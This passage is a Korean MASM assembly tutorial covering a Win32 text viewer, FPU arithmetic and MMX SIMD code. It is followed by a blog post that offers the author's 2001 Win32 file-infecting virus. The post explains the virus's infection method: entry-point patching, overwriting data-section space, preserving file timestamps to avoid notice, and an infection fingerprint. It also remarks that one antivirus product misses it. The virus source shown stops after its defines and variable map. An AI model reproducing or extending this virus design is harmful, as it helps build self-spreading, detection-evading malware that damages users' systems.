자세한 부분은 MASM의 도움말을 참조하기 바란다.

Chapter 5 - 3   프로시저의 prototype 선언

함수(프로시저)의 호출을 수행할 경우, invoke 지시어를 사용하면 편하다.하지만 미리 prototype 선언을 수행해 주어야 한다. 또한 invoke 지시어는, 명시적으로 호출규약을 지정해 주어야만 사용할 수가 있다.

invoke 지시어는, 매크로와 비슷한 것으로, invoke를 사용하는 편이 함수호출이 더 수월해진다. 스택 처리를 자동화 해주기 때문이다.

또한, addr 와 offset 는 모두 변수 혹은 정수의 주소를 반환한다.차이점으로는,

offset 지시어만으로 프로그래밍할려면, 상당한 힘든경우가 있다. offset지시어는, 실행시의 스택주소를 얻을수 없기때문이다.이름 그대로, offset 은 식별자의 오프셋(offset)주소를 구해준다.

addr를 사용함으로써 , 실행시의 스택변수의 주소를 얻을 수가 있다.

Chapter 5 - 4   NULL와'\0'

한가지 주의할 것이, NULL = 0 혹은, '\0' = 0 아니다. 확실히, 헤더파일을 보면, NULL = 0 으로 정의되어 있다. 그러나 그것은 편의상 정의된것이므로, 의미적으로는 다르다. 혹시 다른 개발환경에는 NULL = -1 라고 정의되어 있을지도 모른다.

포인터나 핸들등이 정해지지 않았을 경우에는, 반드시 NULL 을 사용하도록 한다. Windows 로부터 구해지는 모든 핸들은, 실제로 (void *) 형태이므로 NULL을 사용하는 이유를 알 수 있을 것이다.

또다시 , C 언어 이야기로 되었지만, '\0'는 문자열의 끝을 나타내는 기호상수이므로, 문자열 외에서 사용해서는 안된다. NULL도 같이 맥락으로 정해진 용도 이외에는 사용하지 않는 것이 좋다.

 

Chapter 5 - 5   ExitProcess

Windows 프로그램을 종료할 경우에는 반드시, ExitProcess를 호출하도록 하자. 물론, 사용하지 않아도 프로그램을 종료할 수 있다.

하지만, DLL을 호출했을 경우, ExitProcess를 사용하지 않고 프로세스를 종료하면, 프로세스에서 로딩된 DLL이 메모리에 남게된다. ExitProcess를 호출하므로써, DLL에 프로그램이 종료하는 것을 전달되고, DLL도 메모리에서 해제된다.

 


Chapter 6   텍스트뷰어

개요 : 텍스트뷰어 작성

Chapter 6 - 1   텍스트뷰어 프로그램

지금까지의 단편된 지식을 이용해서, 이번에는 좀 더 실용적인(??) 프로그램을 만들어 보자. 실용적이라지만 단순히 텍스트 파일을 열고 화면에 내용을 표시하는 단순한 프로그램이다. API등의 지식은 MSDN이나 기타참조를 하기 바란다.

만드는 방법은 아주 간단하다. 윈도우의 작업영역에 에디트박스를 생성하면 끝이다.

실제로, WM_CREATE 메세지에서,작업영역에 에디트박스를 생성해주면 된다. 그림으로 표시하면 다음과 같다.

파일을 여는 기능만 수행하여, 파일의 내용을 볼수 있도록만 한다.

프로그램은 다음과 같다. → 프로젝트(VC++용)

 ; --------------------------------------------------------------------
 ;
 ;  Text Viewer main.asm
 ;
 ; --------------------------------------------------------------------
.586
.model flat, stdcall
option casemap:none

include <windows.inc>
include <kernel32.inc>
include <user32.inc>
include <gdi32.inc>
include <comdlg32.inc>

include <resource.inc>

 ; --------------------------------------------------------------------
 ;
 ;  Procedure Definitions
 ;
 ; --------------------------------------------------------------------

InitInstance        proto   hInstance   :HINSTANCE
CreateMyWindow      proto   hInstance   :HINSTANCE
OnCreate            proto   hWnd        :HWND
OnSize              proto   hWnd        :HWND
OnCommand           proto   hWnd        :HWND, 
                            id          :UINT
OnFileOpen          proto   hWnd        :HWND


 ; --------------------------------------------------------------------
 ;
 ;  Data
 ;
 ; --------------------------------------------------------------------

.data

CLASSNAME   DB  'FirstWnd', 0
TCLASSNAME  DB  'EDIT', 0
APPNAME     DB  '텍스트뷰어', 0
FILTER      DB  '텍스트 파일 (*. txt)', 0, '*. txt', 0
            DB  '워드 파일 (*. doc)', 0, '*. doc', 0, 0


g_hEditWnd  HWND    NULL
g_szFile    DB  260 DUP (0)

 
 ; --------------------------------------------------------------------
 ;
 ;  Code
 ;
 ; --------------------------------------------------------------------

.code

 ;******************************************************************************
 ; 메인 함수
 ;******************************************************************************

WinMainCRTStartup proc
    local    msg     :MSG
    local    hWnd    :HWND
    local    hInst   :HINSTANCE

    invoke GetModuleHandleA, NULL
    mov     hInst, eax

    invoke InitInstance, hInst
    cmp     eax, NULL
    je      _Exit

    invoke CreateMyWindow, hInst
    cmp     eax, NULL
    je      _Exit
    mov     hWnd, eax

    invoke ShowWindow, hWnd, SW_SHOWNORMAL
    invoke UpdateWindow, hWnd

 _MsgLoop:
    invoke GetMessageA, addr msg, NULL, 0, 0
    or      eax, eax
    je      _Exit

    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp     _MsgLoop

 _Exit:
    invoke ExitProcess, msg.wParam
    ret
WinMainCRTStartup endp

 ;******************************************************************************
 ; 윈도우 클래스의 등록 
 ;
 ;   ATOM InitInstance hInstance:HISNTANCE
 ;******************************************************************************

InitInstance proc \
    hInstance       :HINSTANCE
    local   wc      :WNDCLASS

    mov     wc.style, 0
    mov     wc.lpfnWndProc, offset MainWndProc
    mov     wc.cbClsExtra, 0
    mov     wc.cbWndExtra, 0

    mov     eax, hInstance
    mov     wc.hInstance, eax
	
    invoke LoadIconA, hInstance, IDI_MAIN_ICON
    mov     wc.hIcon, eax

    invoke LoadCursorA, NULL, IDC_ARROW
    mov     wc.hCursor, eax

    invoke GetStockObject, WHITE_BRUSH
    mov     wc.hbrBackground, eax

    mov     wc.lpszMenuName, IDR_MAIN_MENU
    mov     wc.lpszClassName, offset CLASSNAME

    invoke RegisterClassA, addr wc

    ret
InitInstance endp

 ;******************************************************************************
 ; 윈도우의 작성
 ;
 ;   HWND CreateMyWindow hInstance:HINSTANCE
 ;******************************************************************************

CreateMyWindow proc \
    hInstance   :HINSTANCE

    invoke CreateWindowExA,
        WS_EX_APPWINDOW, 
        offset CLASSNAME,
        offset APPNAME, 
        WS_OVERLAPPEDWINDOW, 
        CW_USEDEFAULT,
        CW_USEDEFAULT, 
        CW_USEDEFAULT, 
        CW_USEDEFAULT, 
        NULL, 
        NULL, 
        hInstance, 
        NULL

    ret
CreateMyWindow endp

 ;******************************************************************************
 ; 윈도우 프로시저
 ;   
 ;   LRESULT MainWndProc hWnd:HWND, Msg:DWORD, wParam:DWORD, lParam:DWORD
 ;******************************************************************************

MainWndProc proc \
    hWnd    :HWND, 
    Msg     :DWORD, 
    wParam  :DWORD, 
    lParam  :DWORD

    .if Msg == WM_DESTROY
        invoke PostQuitMessage, 0
    .elseif Msg == WM_CREATE
        invoke OnCreate, hWnd
    .elseif Msg == WM_SIZE
        invoke OnSize, hWnd
    .elseif Msg == WM_COMMAND
        mov     eax, wParam
        and     eax, 0000FFFFh
        invoke OnCommand, hWnd, eax
    .else
        invoke DefWindowProcA, hWnd, Msg, wParam, lParam
        ret
    .endif

    mov     eax, 0
    ret
MainWndProc endp

 ;******************************************************************************
 ; WM_CREATE 메세지의 처리
 ;
 ;   BOOL OnCreate hWnd : HWND
 ;******************************************************************************

OnCreate proc \
    hParentWnd      :HWND
    local   hInst   :HINSTANCE
    local   rc      :RECT

    invoke GetModuleHandle, NULL
    mov     hInst, eax

    invoke GetClientRect, hParentWnd, addr rc

    invoke CreateWindowExA,
        WS_EX_CLIENTEDGE, 
        offset TCLASSNAME,
        NULL, 
        WS_VISIBLE or WS_CHILD or ES_MULTILINE or ES_AUTOHSCROLL \
        or ES_AUTOVSCROLL or WS_HSCROLL or WS_VSCROLL, 
        0,
        0, 
        rc.right, 
        rc.bottom, 
        hParentWnd, 
        NULL, 
        hInst, 
        NULL
    mov     g_hEditWnd, eax

    invoke SendMessage, g_hEditWnd, EM_SETLIMITTEXT, 0FFFFh, 0

    mov     eax, TRUE
    ret
OnCreate endp

 ;******************************************************************************
 ; WM_SIZE 메세지의 처리
 ;
 ;   void OnSize hWnd :HWND
 ;******************************************************************************

OnSize proc \
    hWnd        :HWND
    local   rc  :RECT

    invoke GetClientRect, hWnd, addr rc

    invoke SetWindowPos, g_hEditWnd, NULL, 0, 0, 
        rc.right, rc.bottom, SWP_NOMOVE or SWP_NOZORDER
    ret
OnSize endp

 ;******************************************************************************
 ; WM_COMMAND 메세지의 처리
 ;
 ;   void OnCommand hWnd:HWND, id:UINT
 ;******************************************************************************

OnCommand proc \
    hWnd    :HWND,
    id      :UINT
    
    .if id == IDM_EXIT
        invoke SendMessage, hWnd, WM_CLOSE, 0, 0
    .elseif id == IDM_FOPEN
        invoke OnFileOpen, hWnd
    .endif

    ret
OnCommand endp

 ;******************************************************************************
 ; IDM_FOPEN 메뉴 메세지의 처리
 ;
 ;   void OnFileOpen hWnd:HWND
 ;******************************************************************************

OnFileOpen proc \
    hWnd            :HWND
    local   ofn     :OPENFILENAME
    local   hFile   :HANDLE
    local   pBuffer :DWORD
    local   dwRead  :DWORD

    ;  파일 오픈 다이얼로그 표시
    invoke RtlZeroMemory, addr ofn, sizeof OPENFILENAME

    mov     ofn.lStructSize, sizeof OPENFILENAME
    mov     eax, hWnd
    mov     ofn.hWndOwner, eax
    mov     ofn.lpstrFile, offset g_szFile
    mov     ofn.nMaxFile, 260
    mov     ofn.lpstrFilter, offset FILTER
    mov     ofn.nFilterIndex, 1
    mov     ofn.lpstrFileTitle, NULL
    mov     ofn.nMaxFileTitle, 0
    mov     ofn.lpstrInitialDir, NULL
    mov     ofn.Flags, OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST \
            or OFN_HIDEREADONLY

    invoke GetOpenFileName, addr ofn

    or      eax, eax
    je      _OnFileExit

    ; 파일을 연다
    invoke CreateFile, ofn.lpstrFile, GENERIC_READ, 0, NULL, 
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    mov     hFile, eax

    ; 데이터용 버퍼의 확보
    invoke GlobalAlloc, GPTR, 0FFFFh
    mov     pBuffer, eax

    ; 데이터의 해석
    invoke ReadFile, hFile, pBuffer, 0FFFFh, addr dwRead, NULL

    ; 데이터의 기록
    invoke SetWindowText, g_hEditWnd, pBuffer

    ; 버퍼를 삭제
    invoke GlobalFree, pBuffer

    ; 파일 핸들을 닫는다
    invoke CloseHandle, hFile

 _OnFileExit:
    ret
OnFileOpen endp

end

파일을 선택하는 기능은, common dialog의 파일 오픈 다이얼로그를 사용하고 있다. 이것을 사용하는 것으로, 아주 쉽게 파일선택을 할 수가 있다. 자세한 내용은 프로그램을 참조하기 바란다.

빌드 할 때의 주의 사항으로는, common dialog 박스를 사용하므로, common dialog 박스를 사용하기 위해서는, common dialog 박스의 동적 링크 라이브러리(DLL)의 라이브러리를 링크 해주어야 한다. (commlib.lib ?부분 참조 )


Chapter 7   FPU로 수치 연산

개요 : 부동 소수점 연산에 대해

Chapter 7 - 1   부동 소수점 연산에 대해

FPU를(Float Point Unit) 이용한 부동 소수점 연산에 대해, 설명을 한다. 통합 환경으로는 VC++ 를 사용하지만,굳이 VC++가 아니여도 사용할 수 있다. 실제 계산 인스트럭션에 대해서도, 본 설명서에서 자세히 설명하지 않는다. 인텔 메뉴얼을 참조하기 바란다.

이글을 보고 있는 사람은, FPU의 기능을 모르는 사람은 없다는 가정이다. FPU는, 부동 소수점 연산용을 하기 위한 전용 유닛이다. 80386 CPU 까지는 옵션사항이 였지만, 80486부터는 표준으로 CPU내부에 장착되어 있다.

(80486SX는 예외)

FPU에는, 몇개의 레지스터와 전용 인스트럭션이 존재한다. 계산용 레지스터로 8개의 스택타입의 레지스터가 장착되어있다. 계산 인스트럭션에는, 가감승제, 초월함수, 삼각함수 등 수치 계산에 필요한 기능은 대부분 제공되어 있다.

Chapter 7 - 2   FPU용 레지스터

부동 소수점 계산용의 레지스터로 8개의 레지스터가 준비되어 있다. 하지만, 왜 스택형식의 레지스터일까?

실제로 계산을 하려면 스택을 사용하는 것이 여러모로 편하다. 이것은 알고리즘책등에서 스택을 이용해 계산하는것을 본사람도 있을것이다.

실제로 역폴랜드 기법의 계산법으로 프로그래밍 할것이다. 그러므로 레지스터가 몇개 있는지를 의식하지 않아도, 프로그래밍을 해 나갈 수가 있다. (물론 8개를 넘겨서 프로그램을 작성하는 경우에는, 문제가 있다) 이런 방식은 , 스택에 독립적으로 데이터를 읽어들이고,, 역폴랜드식의 계산방법을 무시하고 계산하면, FPU를 사용하는 것기능에도 불구하고 늦어지는 일이 발생할 수 있으므로 주의가 필요하다.

계산시에 특정스택을 다루고 싶은 경우는, st(n)라는 표기법을 사용한다. n 에는, 현재스택으로부터 n 번째의 스택을 지정한다. 예를 들면, 현재 스택 탑으로부터 한단계전의 스택내용을 참조하고 싶은 경우에는, st(1)로 사용한다. 2개전이라면 st(2)로 한다.

다만, 미사용영역의 스택에 액세스 하게되면 에러가 된다.

Chapter 7 - 3   프로그래밍의 방법

실제로, 아래와 같은 계산을 수행해보자.

( 5.98 + 34.89 ) * (34.89 - 23.0)

이 계산을 실제로 부동 소수점 인스트럭션을 이용해서 프로그래밍하면, 다음과 같다.

; _a = 5.98, _b = 34.89, _c = 23.0 으로 한다

fld     _a  ; ①FPU스택에 _a 의 값을 푸쉬
fadd    _b  ; ②현재스택의 값과 _b 의 값을 더한다

fld     _b  ; ③FPU스택에 _b 의 값을 푸쉬
fsub    _c  ; ④현재스택의 값으로부터 _c 의 값을 뺀다

fmul        ; ⑤현재스택과 한단계전의 스택값을 곱해서 한단계전의 스택에 푸쉬

이런 계산을 할 경우, 스택에 실제로 어떻게 데이터가 싸이는지 알아보자.스택은 다음과 같이 운용된다.

Chapter 7 - 4   실제 프로그래밍

그렇다면, 실제로 프로그램을 작성해보자. 수치 연산의 부분을 MASM로 작성하고, C언어로 그 연산을 호출하는 형태로 작성한다. 먼저 C언어의 프로그램은 다음과 같다.

#include <stdio.h>

#ifdef __cplusplus
extern "C" double func(double a, double b, double c);
#endif

int main()
{
    printf("func() = %f\n", func(5.98, 34.89, 23.0));

    return 0;
}

func라고 하는 함수는 MASM로 작성한다. func함수의 내용은 다음과 같다.

.586
.model flat, c

.code

func proc \
    _a: real8,
    _b: real8,
    _c: real8

    fld     _a
    fadd    _b
    fld     _b
    fsub    _c
    fmul

    ret
func endp

end

함수의 반환값은, 스택의 탑에 넣어 둔다.

예를 들어서 다음과 같은 수식을 프로그래밍해보자.

(1) a * (b + c)
(2) |a + b| * sin(c)
(3) a * √(a + b) * cos(c)

각각 다음과 같이 된다.

; (1) a * (b + c)

fld     a
fld     b
fadd    c
fmul

; (2) |a + b| * sin(c)

fld     a
fadd    b
fabs
fld     c
fsin
fmul

; (3) a * √(a + b) * cos(c)

fld     a
fld     a
fadd    b
fsqrt
fld     c
fcos
fmul
fmul

부동 소수점 계산은 이런식이다. 크게 어렵지 않다. 부동 소수점 연산의 에러 처리는, 인텔 메뉴얼을 참조하기 바란다.


Chapter 8   MMX의 SIMD 연산

개요 : MMX를 사용

Chapter 8 - 1   MMX 연산의 개요

■MMX란?

먼저 MMX 명령에 대해 설명한다.

MMX란, 단순한 데이터 요소로부터 대규모 배열에 대한 반복 연산을 수행한다. 용도로는, 동영상, 그래픽, 비디오의 결합, 화상 처리, 오디오 합성, 음성 합성, 압축등이 있다.

말이 어려울 것이다. 실제로 샘플 프로그램을 VC++로 작성해서 알아보자.

■MMX 인스트럭션의 개요

MMX 인스트럭션은, SIMD (Single Instruction , Multiple - Data) 실행 모델이라는 형태를 취한다. 무슨 말인가하면, 하나의 인스트럭션으로 복수의 데이터를 한번에 계산한다는 것이다.

배열 char A[8] 과 char B[8] 라는 배열이 있었다고 가정하자.배열 한개의 요소를 MMX 인스트럭션을 사용하면 한번에 계산 할 수가 있다. 그림으로 설명하면 다음과 같다.

위의 예에서 알 수 있듯이 하나의 인스트럭션으로 한번에 병렬 연산을 수행하게 된다. 이런식으로 화상 처리나 오디오 합성, 음성 합성의 처리 능력을 크게 향상시킬 수가 있다.

MMX는, 8 개의 64 비트 MMX 레지스터 (MM0, MM1, ... MM7)를 가지고 있다. MMX레지스터는, 8개의 FPU 레지스터를 공유해서 사용하므로, 부동 소수점 연산과 MMX 연산을 혼합해서 사용할 경우에는 주의가 필요하다.

MMX 연산에는, 4가지의 데이터형을 계산할 때에 이용한다. Packed Byte/Packed Word/Packed Double Word/Quad Word이다. Packed Byte라는 것은, 64 비트 레지스터를 8비트씩 8개의 영역으로 나눈 형태의 데이터형이다. 그림으로 설명하면, 아래의 그림과 같다. 상자로 둘러싸여 있기 때문에, 팩(Packed)이라고 부른다.

Chapter 8 - 2   MMX를 사용할 수 있는지 체크

MMX를 사용하기 전에 MMX 인스트럭션을 사용할 수가 있는지 체크 할 필요가 있다.

체크루틴에는 CPUID 인스트럭션을 사용한다. 구체적인 프로그램은 다음과 같다.(인라인어셈 사용)

/* CPUID의 존재 체크 */

BOOL IsCPUID()
{
    DWORD dwPreEFlags, dwPostEFlags;

    _asm {
        /* EFlags 의 값획득 */
        pushfd
        pop     eax
        mov     dwPreEFlags, eax

        /* CPUID 인스트럭션의 존재체크 (ID 플래그 체크) */
        xor     eax, 00200000h
        push    eax
        popfd

        /* EFlags 의 값의 획득 */
        pushfd
        pop     eax
        mov     dwPostEFlags, eax
    }

    if(dwPreEFlags == dwPostEFlags)
        return FALSE;
    return TRUE;
}

/* MMX 가능여부 체크 */

BOOL IsMMX()
{
    DWORD dwRetEDX;

    /* CPUID 인스트럭션 체크 */
    if(! IsCPUID()) return FALSE;

    /* MMX 가능여부 체크 */
    _asm {
        mov     eax, 1
        cpuid
        and     edx, 00800000h
        mov     dwRetEDX, edx
    }
    if(dwRetEDX) return TRUE;
    return FALSE;
}

Chapter 8 - 3   포화 연산·비포화 연산

MMX 연산에는 포화 연산과 비포화 연산이 있다. 포화 연산은, 연산으로 오버플로우/언더 플로우(underflow)가 발생했을 경우 그 최대값/최소값을 자동으로 대입해 주는 연산이다. 비포화의 경우는 그것을 수행하지 않는다.

구체적인 예를 들겠다. Packed Byte에서 MMX 무부호 연산을 생각해 보자. 한개의 요소가 240 + 23 = 263 으로, 오버플로우가 발생 했을 경우, 자동으로 최대값을 대입해 준다. 즉 이 경우는, 255 가 대입된다. 다음의 그림을 보면 이해할 수 있을 것이다.

덧붙이면 PADDUSB 라는 것은, 무부호 포화 가산 연산을 수행하는 MMX 인스트럭션이다. (Packed Add Unsigned with Satuation Byte)

MMX 인스트럭션에는 다음과 같은 것이 있다. 간단히 설명한다.

데이터 전송 인스트럭션
MOVD 32 비트 데이터 전송 인스트럭션
MOVQ 64 비트 데이터 전송 인스트럭션
산술 가감(상태) 연산 인스트럭션
PADDx / PSUBx 비포화 연산 인스트럭션 x = B(BYTE) / W(WORD) / D(DWORD)
PADDSx / PSUBSx 부호 첨부 포화 연산 인스트럭션 x = B(BYTE) / W(WORD)
PADDUSx / PSUBUSx 무부호 포화 연산 인스트럭션 x = B(BYTE) / W(WORD)
곱셈 인스트럭션
PMULHx / PMULLx 곱셈 인스트럭션 x = W(WORD) / D(DWORD)
논리 연산 인스트럭션
PAND / PANDN / POR / PXOR  
쉬프트 명령
PSLLx / PSRLx 좌/우논리 쉬프트
PSRAx 오른쪽 산술 쉬프트
변환 인스트럭션
PACKSSxx 부호화 포화 팩화 xx = WB / DW
PACKUSxx 무부호 포화 팩화 xx = WB
PUNPCKHxx 상위 unpack화 xx = BW / WD / DQ
PUNPCKLxx 하위 unpack화 xx = BW / WD / DQ
제어
EMMS MMX 의 종료

마지막의 EMMS 인스트럭션은, MMX의 사용을 종료했을 때에 반드시 수행해야 한다. MMX는 FPU의 레지스터를 공유해서 사용하므로, 명시적으로 레지스터를 EMMS 인스트럭션으로 초기화해 두지 않으면 안 되기 때문이다.

Chapter 8 - 4   실제 프로그램·알파블렌딩

실제로 MMX를 사용해서 연산해 보자. 이번에는 2개의 데이터의 덧셈을 실시한다. 만약 화상자료일 경우라면,「알파블렌딩(Add Alpha-Blending)」이라는 기술이다.(반투명 처리)

 /* Dest = Dest + Src 를 수행한다
 * 데이터의 길이는 8의 배수여야만 한다
 */

void AddData(BYTE *lpDestBuf, BYTE *lpSrcBuf1, BYTE *lpSrcBuf2, DWORD nLength)
{
    _asm {
        /* 초기화 */
        mov     ecx, nLength;
        shr     ecx, 3
        mov     edi, lpDestBuf
        mov     ebx, lpSrcBuf1
        mov     edx, lpSrcBuf2

        /* 루프 연산 */
    ADD_LOOP:
        movq    mm0, [ebx]
        movq    mm1, [edx]

        /* 데이터 가산 */
        paddusb mm0, mm1

        /* 결과를 저장 */
        movq    [edi], mm0

        /* 증감(increment) */
        add     edi, 8
        add     ebx, 8
        add     edx, 8

        dec     ecx
        jnz     ADD_LOOP

        /* MMX 종료 */
        emms
    }
}

이런 간단한 예제로, MMX에 대해서 안다는 것은 불가능하다. 이런 부분을 기초로 해서 응용해 나가면, 화상 처리와 같은 부분에서 처리능력을 크게 개선할 수가 있다. 자 이제부터는 스스로 여러가지 프로그램을 짜 보고 실감해 보기바란다.



반응형
반응형
본 소스코드는 2001년도에 작성된것으로, Win32 환경에서 바이러스가 어떻게 동작하는가에 관한 한가지 예를 보여준다. 이것저것 정리 하던 도중 하드 디스크 한쪽 구석에 쳐박혀 있던 것을 발견, 잠시 고민하다...

오늘은 바이러스 코드에 대해서 포스팅한닷 !!

예전에 친구집에서 한참 페르시아 왕자를 하던 시절... 디스켓을 같이 보관하거나, 꺼져있는 PC에 디스켓을 넣기만 해도 바이러스가 옮는다고 믿던 시절이 있었다. 지금 생각하면 컴퓨터 바이러스와 실제 바이러스를 혼동해서 저런 루머가 생겨났을거라고 생각한다. ㅎㅎ 어찌되었던 저런 루머가 횡행했을만큼 컴퓨터 바이러스라는 이름은 이름 그 자체로도 일반 PC유저에게는 공포와 경외의 대상이었다.

처음에 컴퓨터 바이러스라는 이름이 붙여지게 된것에는 아마도 그 전염성에 주목한 명명법이 아니었나 싶다. 요즘에는 바이러스, 웜, 트로이목마, 백도어 등등 악성코드의 분류와 종류, 용어마저도 다양해지고 있지만, 예나 지금이나 컴퓨터 바이러스라고 정의할만한 몇가지 특성을 말한다면 아마 다음과 같을 것이다.

1. 숙주(host)에 기생
- 바이러스가 virus.exe 이런 이름으로 돌아다닐리는 없다. 물론 맨처음 감염시킬때에는 무언가 trigger가 될 프로세스가 있어야 하겠지만, 일단 한번 감염이 되면 바이러스는 숙주의 몸속에 숨게 된다.

2. 전염성
- 바이러스에 감염된 숙주 프로그램은 또 다른 프로그램에게 바이러스 코드를 전파하며, 퍼져나가게 된다. 이때 감염경로는 신속하면서도 조용히 이루어지는것이 바람직(?)하다.
- 바이러스에 감염되자 마자 바로 숙주가 죽어버리면, 바람직(?)한 바이러스라 할 수 없다. 이상적(?)인 바이러스의 형태는 가급적 조용히 널리 퍼져, 어떤 한 순간(특정한 날 등)에 한꺼번에 돌발해야만 그 효과가 극대화된다. 해서 간혹 정치적인 메시지를 담은 바이러스들도 자주 출몰하곤 했던것이 바로 이러한 이유에서다.

3. 원하는 작업의 (몰래)실행
- 뭐 감염되고 아무 증상(?)이 없다면 그건 바이러스라 할 수없다. 무언가 의도한 작업을 수행해야만 한다.


뭐 이쯤 될것 같다.

서론은 이쯤해서 집어치우고 구현에 대해서 본 소스코드에 대해서 좀 얘기해보자~

1. MASM32로 쓰여졌다.
- 지금이야 MASM을 거의 안쓰고 NASM을 많이 쓰는 분위기지만 예전에는 MASM을 많이 썼다. NASM용으로 소스를 고쳐볼까 했지만, 웬 뻘짓? 이란 생각이 들어 포기, 빌드해서 테스트를 해보고 싶다면 인터넷에서 MASM32를 구해서 빌드해보길 바란다.

2. 감염시킬 파일을 API로 검색하는 방식과 Entry Point를 조작하는 감염방식으로 구현되어 있다.
- 루트킷을 통한 전염이나 코드 분산배치 방식등의 복잡하고 더욱 악랄(?)해진 요즘 트랜드(?)에 비하면, 상대적으로 정직한(?) 방식이므로 상용백신의 휴리스틱 엔진에 걸릴것으로 예상된다. (근데 왜 알약에서 detect가 안되는지 잘 모르겠다. 다른 백신은 어떤지 모르겠음)

3. DEP(Data Execution Prevention)이 설정된 컴퓨터에서는 동작하지 않을수 있다.
- 본 코드는 섹션을 추가하지않고 실행파일의 데이터 섹션에 덮어써지므로, 혹시 사용자의 시스템이 DEP가 설정되었다면 실행중에 예외를 발생시킬수도 있다.

4. 같은 디렉토리에 있는 _host.exe라는 파일만을 감염시킨다. 거기다가 단 1개의 파일만 감염시키도록 되어 있다.
- 물론 소스를 수정하게 되면 무작위로 파일을 감염시킬수 있지만, 만약 테스트한다면 신중하길 바란다. (테스트 결과, 알약에서 감지하지 못한다. 코드 수정후, Windows 디렉토리 등에서 실행시키게 되면 그 결과를 장담할 수 없다. 반드시 꼭 주의하기 바란다 !!

5. 감염된 파일을 확인하려면 실행후 "Ha Ha Ha, I'm here" 라는 메시지 박스가 출력되면 감염된것이다.


동작원리를 간단히 살펴보자

1. 감염대상을 찾는다
- 감염시킬 숙주프로그램을 검색한다.

2. 감염시킬 파일을 열고, 프로그램의 엔트리 포인트(Entry Point)를 수정한다.
- 내가 원하는 코드를 실행하게 하려면 원래의 실행루틴 사이에 나의 코드를 위치시켜야 한다. 하지만 코드를 그냥 덮어쓰면 원래 프로그램이 정상적으로 동작하지 않을것이므로, 1차 감염후 바로 프로그램이 이상하다는것을 눈치챌것이다. 이러면 2차, 3차적으로 전파될수없다. 그러므로 바이러스에 감염이 되고도 숙주프로그램은 정상적으로 실행되어야 만 한다. 이것에 대한 해결책으로 바이러스 코드의 끝부분에는 원래의 엔트리 포인트로 돌아가는 점프코드를 삽입한다.

3. 바이러스 코드를 위치시킬부분을 찾는다.
- 원하는 코드를 어디에다 위치시킬것인가 또한 중요한 부분이다. 프로그램의 코드영역(.text)이나 재배치영역(.reloc) 영역에 덮어쓰게 되면 호스트 프로그램에게 문제가 발생할 가능성이 매우 크다. 따라서 보통 데이터 영역(.data)이나 리소스 영역(.rsrc)의 빈공간(0)을 검색한후, 덮어쓴다.
- 이러한 이유로 바이러스 코드는 그 크기가 중요해진다. 지나치게 크면 숙주 프로그램속에서 코드를 덮어쓸 공간을 찾기가 힘들어진다. 바이러스코드를 어셈블리로 작성하는 이유중의 한가지이다.

4. 적당한 공간을 찾았으면 코드를 덮어쓴다.
- 이때 파일의 타임스탬프를 갱신시키지 않는다는 점이 중요하다. 예전에 설치한 프로그램 실행파일이 어느날 갑자기 최신파일로 되어 있으면 누구나 이상하게 볼것이다.


이것이 전체적인 본 바이러스 코드의 흐름이다.

그밖의 중요 루틴

1. 바이러스 코드는 정상적으로 프로그램이 빌드될때 링크되어진 코드가 아니다. 따라서 일반적인 Win32 API를 호출하는 방법이 아닌 특별한 방법이 필요하다. 코드에서 찾아보기 바란다.
2. 바이러스 지문(중복 감염을 막기위한 일종의 표시)을 이용해서 이미 감염된 실행파일을 다시 감염시키지 않는다.
3. 메모리맵파일을 이용해서 코드을 덮어쓴다. 파일의 타임스탬프를 변경하지 않는다.
4. 에러발생을 대비한 WIN32 구조화 예외처리 핸들러가 구성되어 있다. 실제 시스템에서 예외처리를 어떻게 처리하는지 소스에서 확인해볼 수 있다.



아래는 실제 바이러스의 소스코드이다. Win32 API 와 어셈블리, 그리고 PE 파일구조에 대한 이해만 있다면 이해하는데 별 어려움이 없으리라 생각한다.

;--------------------------------------------------------------------------------------------------------
; WIN32 COMPATIBLE(Windows 9x/NT/2000) VIRUS CODE
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; - designed by woojooin
;
; - last update : 2001. 10. 22
;--------------------------------------------------------------------------------------------------------
.386
.model flat, stdcall
option casemap: none

;--------------------------------------------------------------------------------------------------------
; include
;--------------------------------------------------------------------------------------------------------
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc

;--------------------------------------------------------------------------------------------------------
; libraray
;--------------------------------------------------------------------------------------------------------
includelib c:\masm32\lib\kernel32.lib

;--------------------------------------------------------------------------------------------------------
; defines
;--------------------------------------------------------------------------------------------------------
; TODO : list defines
bpx equ int 3 ; 브레이크 포인트 (for Debugging)
STACKFRAME_LEN equ 1024 ; 스택프레임의 크기(지역변수를 위한 공간)
CODE_LEN equ (EndCode-StartCode) ; 우리 코드의 전체길이
EXTRA_GAP equ 4 ; 감염시킬 코드의 앞뒤에 들어갈 약간의 공간
MIN_BASE_SEARCH_KERNEL equ 070000000h ; 검색할수 있는 가장 낮은 주소
MAX_API_NAME_LEN equ 32 ; 검색할 API 함수이름의 길이

MAX_INFECT_NUM equ 1 ; 감염시킬 파일개수
FINGERPRINT equ 65526548h ; 바이러스 지문 "HeRe"

;--------------------------------------------------------------------------------------------------------
; local variable
;--------------------------------------------------------------------------------------------------------
; TODO : list proto type

; 일반 변수
dwCodeStart equ [ebp-4] ; 코드 시작
dwBaseOfSearchKernel equ [ebp-8] ; KERNEL32.DLL의 베이스주소(수동으로 얻어내는 모듈핸들)
; ...

; 모듈 핸들
hKernel32Module equ [ebp-20] ; 각종 모듈핸들
hUser32Module equ [ebp-24]
; ...

; 예외처리를 위한 백업 레지스터
orgEsp equ [ebp-40]
orgEbp equ [ebp-44]
savEip equ [ebp-48]
; ...

; 각종 함수주소
pfnLoadLibraryA equ [ebp-60] ; 각종 API 함수주소
pfnGetProcAddress equ [ebp-64]

pfnFindFirstFileA equ [ebp-68]
pfnCreateFileA equ [ebp-72]
pfnCreateFileMappingA equ [ebp-76]
pfnMapViewOfFile equ [ebp-80]
pfnUnmapViewOfFile equ [ebp-84]
pfnCloseHandle equ [ebp-88]
pfnFreeLibrary equ [ebp-92]
pfnMessageBoxA equ [ebp-96]
pfnFindNextFileA equ [ebp-100]
pfnFindClose equ [ebp-104]
pfnSetFileAttributesA equ [ebp-108]
;...

; 기타 사용자 변수
hFile equ [ebp-200] ; 파일핸들
hMap equ [ebp-204] ; 파일맵
pFile equ [ebp-208] ; 파일맵 뷰포인터

pszApi equ [ebp-200] ; 함수이름
